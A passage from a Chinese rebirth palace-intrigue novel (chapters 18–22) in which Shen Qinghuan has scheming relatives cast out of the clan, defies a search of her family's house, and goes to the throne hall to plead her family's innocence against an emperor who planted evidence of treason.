虽说上一世会被改变,至少现在沈清欢没有最初那么担心了,可那些痛苦的记忆根本没办法忘记,没护好的人,这次必定都护着周全,别说疏影和红缨可以嫁人了,若风头不对,她都会提前安排陈嬷嬷去荣养。 沈清樾过来的时候,看着小妹的眼神儿极其复杂,坐在椅子上不吭声,只顾喝茶。 “茶多了也伤人。”沈清欢问:“是有心事了?” 沈清樾摇头,他知道三叔说得对,如果能让司徒珩护着她,是最安全的。 但小妹对霍云昭的态度和手段已经可以断定,若是司徒珩,只怕更极端,他是亲眼看到小妹多不喜司徒珩的。 沈清欢走到坐塌这边,取了棋盘放好,抬头:“手谈一局啊?” “你惯会欺负我,明知道我不太会这些。”沈清樾说着,走过来坐在对面。 沈清欢摇头:“大哥不是不会这些,是祖父一直把我待在身边教导,我是名师出高徒,你多练练,一定比我还厉害。” 沈清樾不吭声。 “行军打仗也需要,一局棋可观天下,这是祖父挂在最边上的话,最重要的是还能见人品,识人心。”沈清欢说。 沈清樾轻轻地叹了口气:“阿灼,今儿是大哥不对,不该叫那些人来吃酒。” “有何不对?若别人犯错,你也要把这错背在身上,那你可就背不完的锅了。”沈清欢落下一子:“我本也是借这个机会,想要把沈清瑶处理掉的。” 沈清樾点头:“嗯,我知道。” “回头,大房若闹腾起来,虽然你上头有祖父和父亲压着,可祖父顾念父子情,父亲顾念手足情,都会谦让三分,到时候就得大哥站出来,彻底把大房分出去才是最重要的,留在身边早晚是祸害。”沈清欢说。 沈清樾看着棋盘上的黑白子,苦笑着摇了摇头:“阿灼是谋士啊。” “大哥是武将,我们配合得好,家里就不会出大事。”沈清欢说。 兄妹俩闲聊着,沈清樾不能说三叔和司徒珩的打算,沈清欢也不能说自己知道的那些事,渐渐地就真正的在下棋了,认真起来,反倒让沈清欢发现大哥的棋风十分霸道,心里欢喜的很,她知道沈家虽早就把兵权交出去了,可当年跟着沈家的那些副将都在军中身居要职,并且对沈家是忠心耿耿的,大哥的以后,必定要执掌兵权的,至于是为谁打江山,还得再等等看,局势不够明朗啊。 日落偏西的时候,沈清樾离开,陈嬷嬷进来小声说:“小姐,那边把人抬回去了,步秋跟着去的,看样子被折腾的挺惨。” 沈清欢垂眸还在看棋盘上的棋子,听到这话问道:“那马夫可还妥当?” “三爷过去了。”陈嬷嬷说。 沈清欢心里了然,三叔是怕大房对马夫不利。 不过,只是护着马夫还不行,大房会说沈清瑶身体不妥当,以此为借口赖着不走的,至少拖延时间,得到机会便把马夫处理掉,明明早就不一条心了,又舍不得沈家的庇护,什么都想要,哪里有这样的好事? “嬷嬷,你往母亲那边走一趟,就说事不宜迟。”沈清欢说。 陈嬷嬷得了吩咐离开。 夜深人静。 沈清欢躺在床上睡不着,她知道大房不会消停,只怕狗急跳墙把司徒珩扯出来,到时候就难收场了,所以什么人能破这个局呢? 让沈清欢万万没想到,第二天刚起身,祖母身边的孙嬷嬷就过来了:“四小姐,老爷吩咐开祠堂,都要过去。” 沈清欢心头一喜,这次祖父站出来了,还真是有点儿意外呢。 穿戴整齐来到祠堂门口,就听到大房的邹氏哭得凄惨,哀求声声。 茶盏落地的脆响传来,沈清欢撩起帘子进来,就见祖父指着邹氏的脸:“三尺白绫你不愿意,送走你也不愿意,邹氏,这个家让你来当?” 第18章 她是在找死吗? 沈清欢进门,走到母亲身边站着,大房除了不在家的大伯和沈清瑶外,都在场。 这些人里,沈清欢对沈清韵略有了解,所以并没有多看一眼,而是看向了跟自己同年,平日里不怎么露面的沈清舟身上。 沈清舟是大房的庶子,可也是唯一的男丁,打从三岁开蒙便不怎么露面,读书十分刻苦,人也天资聪慧,只是给人的观感不太好,至少沈清欢觉得这个人太过阴郁了,低着头不知道在想什么,看人也会斜着眼睛偷看,心术不正倒和大房的做派如出一辙。 “父亲,等景川回来行吗?”邹氏抬头,双眼含泪:“我一个妇道人家做不得这个主。” 沈良辅冷声:“那就给沈清瑶除族,送去庄子里跟那男人成亲,从此以后就当沈家没有这个人。” 邹氏眼泪掉的又急又凶,不知道说什么才好。 沈清韵跪在母亲身边:“祖父,就按照您说的办,长姐如今身体不妥当,庄子选的近一些,不然一路颠簸受不了。” 这要求不过分,沈良辅又不是不近人情的人。 就在犹豫的时候,沈清欢目光落在大哥身上,她担心大哥要站出来阻拦,却不想一道声音响起:“如今得罪的是安王殿下,不是寻常人,跟沈清瑶比起来,沈家上下一百多口人更重要一些。” 沈清欢垂眸,微微勾起唇角,三叔果然从不让人失望,这种话三叔说最合适不过了。 祖父和父亲都是耳根子软的人,心更软。 “三叔,就不能给长姐一条活路吗?”沈清婉抹着眼泪:“你们是不知道长姐如今的模样多惨,非要逼死她吗?” 沈景行扫了沈清婉一眼,转过头对沈良辅说:“父亲,把沈清婉一并送到庄子里去,如此少脑子的人,留下来只会坏事。” 沈清婉愕然的张大嘴巴,不敢相信自己听到的话。 邹氏万万没想到竟还要对自己小女儿出手,她站起身,指着沈景行:“老三,你们这是合伙欺负我们是不是?” “你到街上听一听就知道了,是欺负你们还是救你们的命,只要不是榆木疙瘩的脑袋,就能想明白的。”沈景行没有客气的意思。 沈清婉哇一声就哭了,指着沈景行:“你就是欺负我们大房是庶出!” “闭嘴!”沈景行厉声:“就你这德行,让你们去庄子上都是客气的,再不服管教就关紧家庙里去。” 邹氏不敢在说话,捂住了沈清婉的嘴。 沈清韵过来给沈景行跪下:“三叔息怒,就按你说的办。” 接下来也不用谁费口舌了,沈清瑶除族,沈清婉陪着沈清瑶去庄子里。 “明日就出发,回去准备准备吧。”沈景行说。 邹氏哭着带着自己的孩子们离开祠堂。 沈清欢看到沈清舟临走的时候看三叔一眼,那一眼薄凉至极。 沈老夫人带着沈夫人和沈清欢离开祠堂。 沈良辅看着两个儿子和长孙,叹了口气:“这件事虽说我们快刀斩乱麻了,若是外面风言风语多了也免不得入宫一趟请罪。” “父亲,二哥可以去请罪,不能晚,现在就入宫吧。”沈景行说。 沈良辅看沉默不语的长孙:“清越。” “祖父,清越在想,大伯若是回来了,这件事只怕不会善了。”沈清樾说。 大家都想到了,只是没说出来。 沈清樾抬眸看着沈良辅:“若是到了那个时候,除族一个沈清瑶还不够,分家才能自保,就算不明说,有朝一日大伯也会知道这是我们对他最大的庇护了。” “那封信是沈清瑶放在书房密室里的,司徒珩亲眼看到她从皇上手里接过去的密信。”沈景行说:“留不得了。” 沈良辅早就有猜测,只是听到这个答案还是免不得心寒,摆了摆手:“那就分家。” 这边,沈清欢陪着沈老夫人往福寿堂来,还没等道门口,孙嬷嬷就快步过来了,一脸焦急的说:“老夫人,大房那边怕是不安生。” “嗯?”沈老夫人皱眉。 孙嬷嬷说:“老奴亲眼看到三姑娘抽了二姑娘嘴巴,大夫人让二姑娘跪在门外。” “真是可笑,今日若不是二姐明事理,能如此善了?真以为耍无赖,我们就真拿她们没法子了?”沈清欢冷声。 沈老夫人叹了口气:“有个聪明的,她们还不待见!” 沈清欢也是这么认为的,如今沈家最不怕有城府的人,但猪脑子是一个也不能留! 想到这里,上前一步:“祖母,若您过去,必定会被她们缠磨的心烦,阿灼去。” “丽华,你看呢?”沈老夫人问儿媳妇。 沈夫人笑了:“母亲,阿灼尽可去,小孩子说话轻了重了都无妨,咱们谁露面都没好果子吃,也让阿灼练一练。” 沈老夫人点头。 沈清欢带着郑嬷嬷离开。 大房住着的院子门外,沈清韵脸肿的老高,跪在烈日之下,低着头安静的很。 一柄纸伞遮在头顶,带来些许阴凉。 沈清韵抬眸,看到沈清欢的时候,轻轻地叹了口气:“四妹,你别来趟这浑水。” 沈清欢蹲下来,拿出帕子给她揉脸颊:“二姐,这浑水里本来就有我,你不该受这样的委屈,祖母心疼你懂事乖巧,知轻重,可这情况祖母和我的母亲过来,只会闹腾起来没完。” “是啊。”沈清韵眼圈一红:“可他们都是我的至亲,我怎么能无动于衷。” 沈清欢拉着沈清韵起身:“走吧,若你不能破局,这样的枷锁会把你困死的。” “你,为何帮我?”沈清韵不敢相信的看着沈清欢。 沈清欢停下脚步,偏头看着沈清韵:“二姐,沈家现在需要聪明的人,需要有城府有能力的人共渡难关,你也看出来了,不是吗?” 沈清韵定定的看着沈清欢。 是的!她看出来了!沈家现在是刀架在脖子上的时候。 “走吧。”沈清欢牵着沈清韵的手进门。 守门的婆子刚要回去报信儿,沈清欢厉声:“站住!闲杂人等,退出门外七尺,否则发卖。” 嫡小姐的威力不容小觑。 当沈清韵推开门的时候,邹氏尖叫出声:“孽障,滚出去!” “母亲,你也想要去庄子上,是吗?”沈清韵没了平日里低眉顺眼的模样,抬眸逼视着邹氏:“若你想,我成全你。” “沈清韵,你找死!”沈清婉冲上来。 沈清欢横跨一步站出来:“她是在找死吗?” 第19章 忍不住要动手了吗? “三妹!” 沈清瑶躺在床上,厉声。 沈清婉收住脚步,回头:“长姐。” “你还看不明白吗?沈清欢是来给沈清韵做主了。”沈清瑶撑着身子坐起来,确实被折腾的太狠了,那个马夫一身蛮力,她差点儿被拆吃入腹,可身体的酸疼哪里抵得过心里的滔天恨意! 沈清婉指着沈清韵:“你就是个人头猪脑的货色!谁是你的亲人都分不清了?没有爹娘和我们护着你,你早晚被人家害死!” “你被沈清瑶害成这样不也没死?”沈清欢嗤笑一声:“去了庄子,沈清瑶除族还有男人,日子虽然过得不会太好,可也算有主了,你呢?” 沈清婉怒喝:“闭嘴,少挑拨是非!” “送酒是谁的主意?酒是谁的?倒酒的人是谁的?沈清婉,你丢了好姻缘还不自知,有什么资格说二姐呢?”沈清欢哪里在乎沈清婉?不过真以为离开沈家就可以了?这根刺留下,早晚会起作用的。 沈清婉回头看沈清瑶。 沈清瑶冷笑:“沈清欢,你得逞了,就算有一天你成为安王妃又能如何?妄图攀上枝头,别忘了怕的更高摔得就更惨!” “有你惨吗?”沈清欢伸出手牵起沈清韵的手:“大伯娘也不用难过,两个不争气的蠢货送去庄子上,留二姐这个聪明的女儿在身边也能傍身。” 邹氏早就恨不得一眼一眼玩剜死沈清韵了,大小就看不上她这个软绵的性子,如今他们给点儿好处,就要像狗一样过去摇尾巴,这样的人还能傍身? 听到沈清欢这话,邹氏笑了:“虽然大房没本事开祠堂,除族沈清韵,但今儿我就把话撂这里,沈清韵,从此以后你和我们一家人再无瓜葛,是死是活都别求到我头上,大房现在是被针对了,但是你放心,哪怕要饭都不会到你门口,滚出去!” 沈清欢看沈清韵眼圈红了,轻轻地叹了口气:“二姐,原来你过得如此不如意。” “母亲,你糊涂。”沈清韵深吸一口气,施施然跪下磕头:“今日我给你磕三个头,不要我的是你,咱们就此断了今生的亲缘。” 邹氏万万没想到自己亲生女儿会这样,抓起来茶盏砸向沈清韵,沈清欢上前一步,茶盏砸在他的罗裙上,茶汤飞溅,茶盏落地摔得粉碎。 “大伯娘真是好大的脾气,我回头去跟祖父说,一并送去庄子上也是好的,你是慈母,要为沈清瑶操持婚事呢。”沈清欢脸色阴沉,不理邹氏看向沈清瑶:“你放心,这事儿不算完,你做得那些见不得人的勾当,早晚会让你后悔来到这世上走一遭的,二姐,跟我走!” 沈清韵知道自己除了跟沈清欢离开这一条路外,无路可走,起身跟着沈清欢离开。 邹氏跌坐在椅子上。 “母亲,走就走,回头父亲归家见不到我们,一定会跟他们要人,到时候我们趁机分家另过。”沈清瑶说。 邹氏眼睛一亮:“对!我们都走!” 沈清欢带着沈清韵往祖母的院子来。 “四妹,为何帮我?”沈清韵问。 沈清欢放慢了脚步:“二姐,我说过了,沈家需要聪明人,而你我都是受沈家庇护长大的孩子。” “是啊,可惜长姐不懂这个道理。”沈清韵说。 沈清欢抬眸看着远处的天空:“她不是不懂,只是太自私了,世家大族里享受了荣华富贵,就该知道一家人一荣俱荣一损俱损,她想要独善其身,想要攀附安王,何其可笑?自己血脉至亲都能加害,这样的人哪里会有好下场。” 沈清韵打量着沈清欢:“你好像变了?” “从霍家试图求皇上赐婚的事开始,我就知道自己以前活得太单纯了。”沈清欢看沈清韵:“沈清瑶害得不止是我,还有沈清婉和大房的每个人。” 沈清韵点了点头,今儿就看出来了,真到了万不得已的时候,祖父会为了整个沈家舍弃任何一个人。 两个人刚到福寿堂坐下,没来得及说话,孙嬷嬷就进来了。 “老夫人,出大事了。”孙嬷嬷压低声音:“霍家那边有动静,听说为了平息圣怒,霍静纭入宫。” 沈清欢微微挑眉,司徒珩的动作还真快! 沈老夫人点了点头,让孙嬷嬷退下。 “这仇结下了,霍静纭入宫之后,你们都要万分小心才行。”沈老夫人看着沈清韵:“你是个聪明的孩子,但大房没有给你一个好眼界,往后多出去走动,就住在我这边吧。” 沈清韵起身就给沈老夫人跪下了:“祖母庇护我,是我的福分。” “你们都是沈家的孩子,哪个能不宝贝?女大不中留谁家都是如此,但野心勃勃便是惹祸的根苗啊。”沈老夫人拉着沈清韵的手,让她起身,语重心长的说:“阿灼听说你被罚,说什么也要过去护着你,这才是一家姐妹该做的事。” 沈清韵低头垂泪:“祖母,放心吧,我不是糊涂。” 这边安排沈清韵住下,沈老夫人让绣娘过来给沈清韵量体裁衣,但凡所需之物都需要准备周全。 沈清欢趁机离开,回去听风苑,让疏影出去打探情况。 傍晚时候,疏影回来,一脸凝重的说:“小姐,情况不太好,外面传言很多,有人说大小姐算计安王是老太爷的主意,说沈家姐妹三人争风吃醋,可难听了。” 沈清欢揉了揉额角:“怎么三人?” “不止说了大小姐和三小姐,还牵扯到了小姐,说小姐爱慕安王,所以用尽手段拒霍家婚事,还说白向晚就是被你鼓动,才会坐下那等下作的事。”疏影说。 沈清欢叹了口气,虽然不全对,可也对了不少,看来背后推动这事儿的人不止沈清瑶,还有霍家、白家的手笔,保不齐司徒珩也想趁机做点儿什么! “小姐,不好了,皇上召老太爷和老爷入宫,连老夫人和夫人也入宫去了。”红缨跑进来:“老太爷给您这个。” 沈清欢蹭就站起来了,接过来那帕子,帕子上只有一个字:危! 危? 皇上忍不住要动手了吗? 沈清欢问:“大公子呢?” “大公子也一并入宫去了。”红缨说:“小姐,如今可怎么办啊?” 第20章 上殿喊冤 沈清欢起身:“去前院。” 郑嬷嬷、疏影和红缨立刻跟上。 残阳如血,在西北方墨云翻滚,沈清欢看着落日将尽,笼在袖子里的手缓缓地攥成拳头,昏君到底有多恨沈家? 霍家的婚事就算不成,他还有另外一计,布下杀局的他忘记了,若非祖父和父亲护着他登基,他在一众皇子里有什么胜算? 这样的人不配为君! “四妹。”沈清韵等在福寿堂门口,见沈清欢过来,快步迎到近前:“祖母让你务必小心。” 沈清欢点了点头:“二姐,怕不怕?” “不怕!”沈清韵容色坚定:“躲不过,就奋力一搏。” 沈清欢勾起唇角:“嗯,走吧。” 沈清韵不知道沈清欢为何会笑,但眼下不是问的时候。 姐妹二人刚说了几句话,沈府的大门被撞开,禁卫军呼啦啦从外面闯进来,一个个凶神恶煞一般,沈清韵虽嘴上说不怕,可到底是姑娘家,脸色白了几分,偷看沈清欢,见她昂首挺胸,虽身形柔弱,可竟给她一幅铁骨铮铮的模样,这就是嫡女的气派。 沈清韵在想,沈清瑶拿什么跟沈清欢比呢?白白年长几岁,都是虚度的光阴。 甚至,她觉得母亲是上不得台面的,若不然怎么会把姐妹几个教养的唯利是图,自私自利? 幸好从小就不待见自己,否则自己又能比沈清瑶和沈清婉强到哪里去呢? 沈清欢立在台阶上,静静地看着眼前的所有人,待这些人站满了院子,分列两边,大门口阔步进来的司徒珩走到沈清欢面前的时候,沈清欢微微的扬起下巴,心里在骂昏君。 “沈四小姐,本王奉命搜查沈府,女眷回避。”司徒珩一拱手。 沈清欢嗤笑:“安王,女眷回避,我沈府还以男人站出来吗?” “沈四小姐,本王也是奉命行事。”司徒珩从沈清欢的眼里看到了恨意,让他的心口止不住微微的疼了起来。 沈清欢抬手做了个请的姿势:“尽可搜查,身为沈家人,我站在这里对你们有利,不然外界还以为安王带来的人,不问自取,趁人之危了呢。” “好。”司徒珩抬起手,下令:“太傅家多贵重书籍字画,尔等不可莽撞,搜!” 三人一组,分散开,沈府的仆从都被圈在院子里,一个个都吓得瑟瑟发抖。 沈清欢出声:“嬷嬷,凡沈家人,敢哭哭啼啼的,一律记下来,明日发卖。” “是。”郑嬷嬷抬头环顾在场所有人。 “报,王爷,没有。” 陆陆续续这些禁卫军回来,答案是沈清欢早就料到的。 司徒珩负手而立,点了点头。 一滴雨落下来,落在了沈清欢的睫毛上,眼前的一切像是蒙了水雾,她眨了眨眼睛,看着细密如丝的雨落下,站在雨中的她浑然不觉。 “报!王爷,书房有密室。”有人回来禀报。 沈清欢目光落在司徒珩身上,这都是知情人! “沈四小姐。”司徒珩看向沈清欢,四目相对的刹那,司徒珩从沈清欢眼里看到了杀意。 沈清欢微微抬起下巴:“我知道密室机关,走吧。” “四妹。”沈清韵伸出手拉住沈清欢的衣袖,轻声。 沈清欢拍了拍沈清韵的手臂,像是对她说,也像是对所有在场的人说的。 “我沈家,代代忠良,守为臣之本,祖父辅佐幼主登基,父亲呕心沥血辅佐皇上稳定江山,如今有人要害沈家,今日若查出来沈家不忠,我便死在当场!若查不出来沈家不忠,我就算滚钉板也要上金銮殿,问个明白!” 说罢,沈清欢前头带路往书房去。 司徒珩跟在后头,沈清韵寸步不离,心里酸涩,眼中有泪,细密的雨,墨云翻滚的天,像极了她现在的心境,到底是眼界不够,她得知霍家求赐婚,觉得沈家可能要风雨飘摇,却没想到事情远比自己想的更可怕。 书房门口,沈清欢停下脚步:“安王,不如同行?” “好。”司徒珩跟着沈清欢入书房。 沈清欢没避讳任何人,打开机括的时候更没有遮挡之意,当暗门打开的时候,她侧身立在一旁,抬头能看到司徒珩的脸。 司徒珩拱手:“四小姐的话,本王会带到。” “有劳。”沈清欢说。 司徒珩让人下去查。 一盏茶时间还没消息,沈清欢眉头微微蹙起,她确实提前拿走了栽赃的书信,可也担心进去的人随身带着别的足够害死沈家的东西,趁机陷害。 司徒珩有心告诉沈清欢都是自己人,可话过六耳起是非,只能默默地盯着。 一道惊雷在头顶炸开,大雨倾盆。 沈清欢死死地盯着书房密室出口。 “王爷,有一个锦匣。”禁卫军捧着锦匣出来,那匣子上镌刻着花纹。 司徒珩看沈清欢,见她眼神坚定的模样,心里略安:“可有其他?” “没有,都是书籍和字画。”禁卫军回道。 司徒珩摆手:“收兵。” 禁卫军呼啦啦往外去,司徒珩迈步往外走。 “安王,这就走了吗?”沈清欢立在司徒珩身后:“我刚才的话,不是说说而已。” 司徒珩转过身:“沈四小姐要入宫?” “不是。”沈清欢福身一礼:“请安王带我上金銮殿,我要面圣。” 司徒珩深深地看着沈清欢,他没说皇上把群臣都叫去了金銮殿,她怎么知道的? 不过,既是要去,带路何妨? “好。”司徒珩看沈清欢身上的便服:“需要更衣吗?” “我一未出阁的女子,并无诰命服,素衣就好。”沈清欢转过头:“二姐,大房只怕恨不得连夜就跑,我们不回来,不准他们离开沈府半步,可记住了?” 沈清韵点头:“四妹,万事小心。” “家里交给你,任何人敢扰乱人心,你记住了,如今你是沈府的主子!”沈清欢说完,迈步走向司徒珩。 瓢泼大雨,沈清欢拒了疏影取来的伞,走在雨中,一步步的到了沈家大门口,司徒珩撩开马车帘子是:“委屈沈四小姐了,请。” 沈清欢微微颔首,坐上了司徒珩的马车,司徒珩坐在对面,一路往皇宫去。 纵然有一肚子的话要问,沈清欢知道此刻绝不是说话的机会,沉默着,雨水打湿的秀发贴在额头。 金銮殿,大殿外。 沈清欢立在雨中。 司徒珩进去一炷香的时间,从大殿里走出来:“沈四小姐。” 沈清欢缓缓跪下,刚跪下就听唱和太监高声:“宣沈清欢觐见!” “臣女接旨。”沈清欢声音洪亮,起身迈步走上白玉台阶,司徒珩从旁边近卫手里接过来披风。 沈清欢道谢,把披风披在身上,遮住自己被雨水淋透的衣裙,黑色的斗篷曳地二尺不止,沈清欢一步步走到最前面,跪倒在地上:“皇上,沈家冤枉!” 第21章 司徒珩的诚意 大夏国鸿基三十六年,夏七月二十日。 沈太傅卖国通敌惊动满朝文武,靖安帝龙颜大怒,遣安王司徒珩抄家。 沈府无男丁,十五岁沈家嫡小姐沈清欢孤身上殿喊冤。 “吾皇明鉴,沈家冤枉。”沈清欢抬头,看着高高在上的靖安帝,毫无惧色,不可窥探圣颜的礼数也顾不得了。 靖安帝居高临下看着沈清欢,沈家的女儿,拒婚的手段不少,一个小女子也能让他富有天下的人吃哑巴亏,确实胆色过人。 但,世人眼中,沈家功勋彪炳,乃大夏国是当今朝廷第一人,身为国君,他就算恨不得把沈家所有人都砍了脑袋,也不能声嘶力竭对一个弱女子。 思及此,靖安帝轻叹一声:“阿灼,起身吧,是不是冤枉,马上就能见分晓。” 沈清欢谢恩却没站起来,声音清脆:“皇上,沈家俯仰不愧天地,不愧君王和百姓,您说的见分晓,可否当着祖父和父亲的面,臣女心里害怕的厉害。” 害怕? 司徒珩立在旁边,看着沈清欢那沉静似水的眸子,若这样是害怕,那瑟瑟发抖之类的词语,又是形容什么的? 靖安帝抬手。 殿前太监过去,态度恭敬,但动作没什么客气的,拉着沈清欢起身:“沈小姐,您这不是为难皇上吗?起身吧。” 沈清欢被拉起来还不算,被拉到了角落里。 她知道,若非当着文物群臣的面,靖安帝不会对自己这么客气的。 司徒珩捧着锦匣上前:“臣从沈家书房密室中所得,不敢拆开。” “呈上来。”靖安帝阴沉着脸,心里那种兴奋让他不得不暗暗地咬紧牙关,沈家仗着辅佐自己多年的功劳,文臣武将都想要出自一门,他早在懂事那日就发恨,若自己大权在握,第一个就要把沈良辅砍了,不是不知恩,而是沈良辅能辅佐自己坐稳皇位,就能辅佐别人! 后宫皇子一个个对沈家嫡女虎视眈眈,这就是明证! 得沈家能得天下,他可不是先帝,对江山社稷用心得很,如今正春秋鼎盛,哪里会让那些皇子乱动心思! 殿前太监接过来锦匣缓步到御书案旁,恭敬的把锦匣放在御书案上。 沈清欢看着靖安帝看着锦匣的目光,咬紧牙关。 群臣交头接耳,那锦匣上的纹路分明是西凉的样式,难道老太傅真的卖国通敌? 想到霍家突然进京求赐婚,这些臣工都是人精,顿时知道了其中关窍所在,原来这文武联姻,是打算动摇国本啊! 靖安帝打开锦匣,眼里的期待凝滞了片刻。 金銮殿上,落针可闻。 沈清欢心里顿时舒畅了,趁人不注意走到殿前:“皇上,您震惊什么?” 靖安帝看着那力透纸背的字迹,分明是沈良辅亲笔所书。 西凉国师的书信呢? 怎么不在这里? 沈家竟然提前发现了,并且掉包了。 想到这里抬头看向沈清欢。 沈清欢稍提裙摆,跪在地上:“皇上,有人意图残害忠良,一计不成再生一计,祖父年迈,身体已很虚弱,臣女伺候在祖父身旁,这锦匣内的治国之策有臣女代笔之处,概因祖父咳血之症越发严重,已不能提笔。” 靖安帝微微的眯起眼睛,沈清欢趁机抬眸:“请皇上取出此物,让满朝文武看个清楚,以免冤枉了沈家忠心,更伤了忠臣的心。” “你知情?”靖安帝出声。 沈清欢微微垂首:“是,民女知情!” 靖安帝失望透顶,到底错信了沈清瑶! 他昨日听闻沈清瑶对司徒珩出手,沈家处置沈清瑶看似合情合理,实则是断臂之举,就怕夜长梦多,所以才动手的,一个知情,他明白沈清瑶所作所为,被发现了! 功亏一篑,靖安帝深吸一口气,他认为万无一失的局,破了! “皇上。” 右尚书令谢云谏出列,手持笏板跪在地上:“臣请皇上公示匣内之物,警戒百官。” “臣,请皇上公示。” 十几个文臣出列跪倒在地。 沈清欢看谢云谏,他和父亲分别是左右尚书令,朝堂上经常吵得面红耳赤,没想到他会第一个站出来。 “皇上,老臣也请您明示此物。” 浑厚苍老的声音从大殿外传来,随后手持尚方宝剑的镇国公阔步入内,须发皆白的他腰背挺直,每走一步,都像是踩在靖安帝的心尖上的,这就是沈良辅的能耐! 随着镇国公一起进来的还有卫国公、安国公,三位国公可见君不跪。 站在大殿上的镇国公看了眼沈清欢,冷声:“沈家无人了吗?你个女娃娃怎敢到这里?” 沈清欢眼圈一红,低着头:“沈家有人,但不在家中。” “在何处?”镇国公问。 沈清欢深吸一口气,抬头看靖安帝。 在何处? 被软禁在宫中都是善地,只怕都押到大牢里了,更有可能都开始上刑了。 靖安帝被架起来,只能说:“朕请沈家人入宫,免得伤了老太傅的心。” “吾皇圣明。”镇国公怀里抱着尚方宝剑:“那就请沈良辅上殿,沈家小娃娃回家去,这里不是你该来的地方。” 沈清欢没有得到皇上的命令,不可以起身。 靖安帝不得不说:“安王,护送沈小姐回沈府。” “臣,遵旨。”司徒珩看沈清欢。 沈清欢叩首在地:“谢主隆恩。” 起身后,就在大殿上,跪拜镇国公,声音哽咽:“您老的恩情,小女铭记五内。” “回家去。”镇国公沉声。 出宫。 雨已经停了。 沈清欢走到马车前,司徒珩打起帘子,等她坐进马车里,一弯腰也进来了。 两个人相对而坐,马车缓缓离开。 “你找了这么多人?”沈清欢抬头看司徒珩。 司徒珩看着沈清欢,轻轻地点头:“这便是我的诚意。” “好,好!”沈清欢已经下定决心了,昏君不死,沈家就要死,上一世她经历过的痛苦,决不能再经历一次,沈家必须要全须全尾! 马车徐徐而来。 沈家大门口,沈清韵带着家丁拦在大门口,邹氏手头的藤条已染血,她举着藤条,指着脸上都染血的沈清韵:“滚开!不然今日就打死你!” 沈清韵跪在地上:“母亲,回去您的居所,祖父等人未归,你们不能离开沈家半步!” “找死!”邹氏动了杀心,高高举起藤条抽了下来。 沈清欢怒喝一声:“放肆!司徒珩,杀了她!” 司徒珩愣怔一瞬,身形犹如鬼魅一般来到沈清韵身前,抬起一拳击中邹氏前心,邹氏惨叫一声倒飞出去,摔在地上的刹那,没一点儿声音。 沈清韵回头看着沈清欢,泪落如雨:“四妹……” 第22章 怎么提到了陪嫁? 沈清欢扶住二姐,让陈嬷嬷带着二姐去找府医,走进来的时候脸色都阴冷了。 邹氏自知理亏,爬起来不敢吭声。 沈清瑶和沈清婉带着大房的奴仆,各个都背着包袱。 “要走?”沈清欢走向邹氏:“大难来时各纷飞?” 邹氏看着眼前的架势,安王立在一旁,看不出什么表情,沈清欢身后无人,她知道沈家完了,若不尽早脱身都得死在这里。 想到这里,邹氏梗着脖子:“你不是让我们走吗?不是除族了吗?怎么?现在要反悔了?” 沈清欢点了点头,抬眸看向沈清舟:“你也跟他们一样的心思?” “四姐。”沈清舟怯懦的不吭声。 若不是重生一次,沈清欢会护着沈清舟,可眼前这个看似怯懦的人,是个聪慧又心术不正的人,明明是个小人,不遗余力的在自己面前表演,令人作呕。 “这样,写了断绝书,你们滚蛋。”沈清欢说。 沈清婉上前一步:“你跟我们使什么本事?沈家完了!你们都得死,你算个什么东西,还敢写断绝书?” 沈清欢缓缓踱步到沈清婉跟前,问:“你说我没资格?” “对!你还能给沈家做主了?如今还用你写断绝书?这沈家我们不稀罕!”沈清婉冷笑:“我呸!什么嫡庶?你会成为野狗!” 沈清欢扬起手,一个大嘴巴抽过去,沈清婉身体一晃,险些摔倒,回头怒视着沈清欢:“你敢打我!我和你拼了。” 说着,蛮牛一般冲了过来,司徒珩伸出手拉开沈清欢,抬起手抓住沈清婉的头发,往旁边一甩,沈清婉摔得惨叫,在地上翻滚。 沈清瑶被两个丫环搀扶着上前:“安王,你就这么恨我们吗?” “你配吗?”司徒珩看都不看沈清瑶一眼,沉声吩咐:“来人,沈氏大房全部带到跨院看管起来,谁也不准离开沈府大门半步。” 邹氏哪里敢跟司徒珩叫板?过去扶着沈清婉,见沈清婉嘴角有血迹,哭都不敢哭出声,进来的禁卫军像是赶羊一般把这些人都看管在跨院里。 沈清欢急匆匆往后院去找步秋。 步秋正在配药,杜仲给沈清韵擦拭好了脸上的伤口,小心翼翼的给止血。 沈清欢看了一眼转身出来,就站在廊下。 府里,唯有这里掌灯了。 “你打算怎么办?”司徒珩问。 沈清欢抬眸:“大房收拾不干净,有些事不能摆在明面上,时机不到。” 司徒珩明白沈清欢的意思,皇上利用沈清瑶栽赃陷害,哪怕所有人都知道也要装作不知道,真正的敌人太强大,大房这些人不过是跳梁小丑罢了。 “四小姐,二小姐的脸上可能会留疤。”步秋过来,说。 沈清欢沉吟片刻:“您受累,二姐正是好年华,不管需要什么贵重的草药都可以说,我寻来入药,不能留疤。” 步秋点了点头:“好。” 沈清欢没有进屋,而是请司徒珩到旁边的房间里坐下来。 司徒珩看她沉默不语,拿过来茶盏给她倒了茶,茶汤已经冷了,可毕竟是客,他不能张罗让人奉茶。 “司徒珩,你求的是什么?”沈清欢看着司徒珩。 司徒珩勾起唇角:“四小姐,若本王所求是美人儿青眼呢?” 沈清欢翻了个白眼儿。 “求活,还要活得好,四小姐若能眷顾,神仙美眷的日子过的逍遥快活,便知足了。”司徒珩说。 沈清欢冷笑:“看来安王的诚意不过如此,既没有一句实话,请吧。” “兵权,霍家的兵权。”司徒珩声音瞬间凝重了。 沈清欢起身:“那就送我祖父等人早点儿回来,想必安王心里最清楚不过了,经这一次,饶是祖父忠心不二也会寒心,恭喜安王得偿所愿。” 司徒珩看着沈清欢那纤细的背影,心里竟有一种凄凉的感觉,是被看穿心思的感觉,她一个刚刚及笄的小姑娘,怎么像饱经风霜了一般。 这话,对也不对,他确实希望沈家和皇上离心离德,但谈不上步步为营,毕竟动沈家的是当今皇上,甚至在皇上的心里把自己也算计在内,满京城的人谁不知道自己能活下来,还能封王,沈良辅功不可没,是自己的恩人呢。 不仁不义不止是当今皇上,自己也算一个。 离开沈府回去复命。 朝堂上,三公步步紧逼,靖安帝当着满朝文武的面给沈良辅赔罪,天地君亲师,即便他是君也不能在规矩之上,沈良辅是他的太傅,是恩师。 沈良辅跪倒在地:“皇上被小人蒙蔽了,老臣心中无怨,唯盼皇上亲君子,远奸佞。” 所有人都看到了,皇上用自己的辇架送沈良辅回府,听闻沈良辅咳血在金銮殿上,并且昏了过去。 沈府,灯光点亮。 沈清欢终于见到了三叔,从最开始三叔不见了,到现在给祖父诊脉施针,从三叔身上感受到了冷意,可三叔到底去做什么了,无人知晓,或许三叔不说,谁都不能知道。 